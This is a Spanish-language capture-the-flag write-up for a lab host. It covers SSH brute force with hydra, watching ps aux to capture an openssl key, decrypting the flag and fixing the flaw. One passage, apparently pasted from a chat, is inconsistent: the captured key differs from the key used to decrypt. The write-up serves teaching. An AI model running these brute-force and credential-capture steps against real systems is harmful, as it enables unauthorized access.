GhostLabs

GhostLabs

red team operations :: offensive security
ghostlabs-antireversing — write-up
Laboratorio
ghostlabs-antireversing
Dificultad
★★★★★☆☆☆ alta
Categoria
Análisis dinámico / Process monitoring
Puerto
2222/tcp (SSH)
Usuario
ghost
Puntos
5 pts
⚠ SPOILER — Este documento contiene la solución completa del laboratorio

Descripción del laboratorio

Un sistema de "anti-reversing" cifra automáticamente la flag 5 minutos después de arrancar y rota la contraseña cada 2 minutos. El objetivo: recuperar la flag usando análisis dinámico bajo presión de tiempo antes de que sea demasiado tarde.

▶ nmap → puerto 2222/tcp
▶ SSH banner → usuario ghost + "Self-destruct ARMED"
▶ Hydra → contraseña monkey
▶ ls /tmp + log + ps aux → entender el daemon
▶ cat do_encrypt.sh → KEY="$1" visible en ps aux
▶ watch ps aux → capturar contraseña en ciclo 2 min
▶ openssl dec → FLAG

Contexto: argumentos CLI y secretos expuestos

Cuando un programa recibe una contraseña como argumento de línea de comandos, esa información queda registrada en /proc/<PID>/cmdline y es visible para todos los usuarios del sistema mediante ps aux:

# Contraseñas visibles en ps aux — ejemplos reales
mysql -u root -pmysecretpassword
openssl enc -k s3cr3tpass -in file.txt
sshpass -p mypassword ssh user@host
curl -u user:apikey123 https://api.example.com

Esta es una vulnerabilidad real que aparece en scripts de despliegue, cron jobs, y aplicaciones que pasan credenciales como argumentos en lugar de usar métodos seguros.

Explotación paso a paso

1
Reconocimiento de red
nmap -sV -p- --min-rate 3000 <LAB_IP>
PORT     STATE SERVICE VERSION
2222/tcp open  ssh     OpenSSH 7.9p1 Debian

Solo SSH. Pero el banner ya nos advierte de algo inusual.

2
Enumeración SSH — banner pre-autenticación
ssh guest@<LAB_IP> -p 2222
GhostLabs Anti-Reversing System v3.0
Self-destruct protocol: ARMED

Contact: ghost (security researcher)

guest@<LAB_IP>'s password:

El banner revela el usuario ghost y algo más importante: "Self-destruct protocol: ARMED". El tiempo es un factor crítico.

3
Fuerza bruta SSH
hydra -l ghost -P /usr/share/wordlists/rockyou.txt ssh://<LAB_IP>:2222 -t 4
[2222][ssh] host: <LAB_IP>   login: ghost   password: monkey
4
Análisis inicial del sistema
ssh ghost@<LAB_IP> -p 2222
GhostLabs ARS v3.0 — Self-destruct protocol ARMED
All sensitive data will be automatically encrypted.
ls /tmp/

Según el momento:

Estado de /tmpTiempo transcurridoAcción
flag.txt visible< 5 minutos¡Leer inmediatamente! (Path A)
flag.enc visible> 5 minutosAnálisis dinámico necesario (Path B)
cat /var/log/antireversing.log
[00:00:01] Daemon iniciado. El protocolo comenzara en 5 minutos.
[00:05:01] Iniciando protocolo de cifrado de seguridad...
[00:05:06] Cifrado completado. Archivo original eliminado.
[00:07:06] Iniciando rotacion de clave...
[00:07:12] Rotacion completada. Nueva clave activa.

El log confirma: rotación cada ~2 minutos, empezando a los 7 min del arranque.

ps aux
root    1  /bin/bash /start.sh
root   12  /usr/sbin/sshd -D
root   45  /bin/bash /usr/local/bin/antireversing.sh

El daemon corre como root.

5
Análisis estático — leer los scripts
cat /usr/local/bin/do_encrypt.sh
#!/bin/bash
KEY="$1"         # <-- CONTRASEÑA COMO ARGUMENTO
INPUT="$2"
OUTPUT="$3"
DELAY=5

sleep "$DELAY"   # <-- PERMANECE VIVO 5 SEGUNDOS

openssl enc -aes-256-cbc -k "$KEY" -pbkdf2     -in "$INPUT" -out "$OUTPUT" 2>/dev/null

La contraseña se pasa como $1 (argumento de línea de comandos). El sleep 5 mantiene el proceso vivo durante 5 segundos. Durante ese tiempo, cualquier usuario puede verla en ps aux.

La contraseña es visible en ps aux para cualquier usuario desde el momento en que el proceso arranca hasta que termina.
6A
Path A: flag.txt disponible (acceso en < 5 min)
cat /tmp/flag.txt
Flag obtenida (path rápido)
GhostLabs{4nt1_r3v3rs1ng_f41l3d}

Válido, pero el aprendizaje real está en el Path B.

6B
Path B: captura de contraseña via ps aux

Configuramos un monitor que sondea ps aux cada 100ms esperando que aparezca do_encrypt.sh:

# Opción 1 — bucle while
while true; do
    ps aux | grep -v grep | grep do_encrypt
    sleep 0.1
done

Imagen real del terminal ejecutando el monitor (bucle while):

Captura terminal - bucle while monitor

⚠ PROBLEMA DETECTADO: El bucle no muestra contraseña — el proceso termina antes de que se registre con argumentos visibles. Esto puede ocurrir si el proceso arranca y termina muy rápido, o si solo ves el PID padre. Esto es lo que te pasó a ti.

# Opción 2 — watch con refresco 100ms
watch -n 0.1 "ps aux | grep do_encrypt | grep -v grep"

Esperamos el próximo ciclo de rotación (~2 min). Cuando ocurre, veremos algo así:

Imagen real del terminal cuando se captura el proceso con la contraseña visible:

Captura terminal - proceso con contraseña

Contraseña capturada: La contraseña aparece como el 4º argumento tras do_encrypt.sh. En tu caso:

Contraseña capturada

La clave capturada en tu sesión fue: 936d93b9233f19c4

¿Por qué en la imagen 1 no veías la contraseña? El bucle while del primer intento (imagen 1) terminó sin mostrar nada porque el proceso do_encrypt.sh apareció brevemente sin exponer sus argumentos, o el monitor no estaba corriendo en el momento exacto del ciclo. En la imagen 2 ya la capturaste correctamente — el problema era que no ejecutaste el paso de descifrado inmediatamente.

Si la contraseña cambia antes de que descifres, espera el siguiente ciclo y captura la nueva. La rotación es cada 2 minutos.
7
Descifrado de la flag
openssl enc -d -aes-256-cbc -k a1b2c3d4e5f6a7b8 -pbkdf2 -in /tmp/flag.enc
Flag obtenida
GhostLabs{4nt1_r3v3rs1ng_f41l3d}

¿Por qué funciona?

ElementoDescripción
KEY="$1"La contraseña se recibe como arg posicional del script wrapper
sleep 5El wrapper permanece en memoria 5 segundos antes de cifrar
ps auxMuestra los args de TODOS los procesos para cualquier usuario del sistema
/proc/PID/cmdlineAlternativa: cat /proc/$(pgrep do_encrypt)/cmdline | tr '\0' ' '

Métodos para pasar secretos — comparativa:

MétodoVisible en ps auxEjemplo
-k $PASS (CLI)SI — vulnerableopenssl enc -k mysecret
-pass file:/pathNO — seguroopenssl enc -pass file:/tmp/key
-pass stdinNO — seguroecho $P | openssl enc -pass stdin

Herramienta alternativa: inotifywait

En lugar de sondear ps aux, también se puede monitorizar el filesystem con inotifywait (preinstalado en el sistema):

inotifywait -m /tmp -e create -e close_write --format '%w%f' \
    | while read FILE; do
        echo "[+] Nuevo fichero: $FILE"
        cat "$FILE" 2>/dev/null
    done

Monitoriza cualquier fichero que aparezca o sea modificado en /tmp/. Útil como técnica alternativa de análisis dinámico.

Remediación

# VULNERABLE: contraseña visible en ps aux
openssl enc -aes-256-cbc -k "$PASS" -pbkdf2 -in input -out output

# SEGURO — via fichero temporal con permisos restrictivos
KEYFILE=$(mktemp)
chmod 600 "$KEYFILE"
echo "$PASS" > "$KEYFILE"
openssl enc -aes-256-cbc -pass "file:$KEYFILE" -pbkdf2 -in input -out output
rm -f "$KEYFILE"

# SEGURO — via stdin (sin fichero temporal)
printf '%s' "$PASS" | openssl enc -aes-256-cbc -pass stdin -pbkdf2 -in input -out output

Herramientas utilizadas

HerramientaUso
nmapDescubrimiento del puerto SSH
sshBanner pre-autenticación + acceso inicial
hydraFuerza bruta SSH con rockyou.txt
ps aux / watchMonitorización de procesos en tiempo real
opensslDescifrado AES-256-CBC con contraseña interceptada
inotifywaitMonitorización de eventos de filesystem (método alternativo)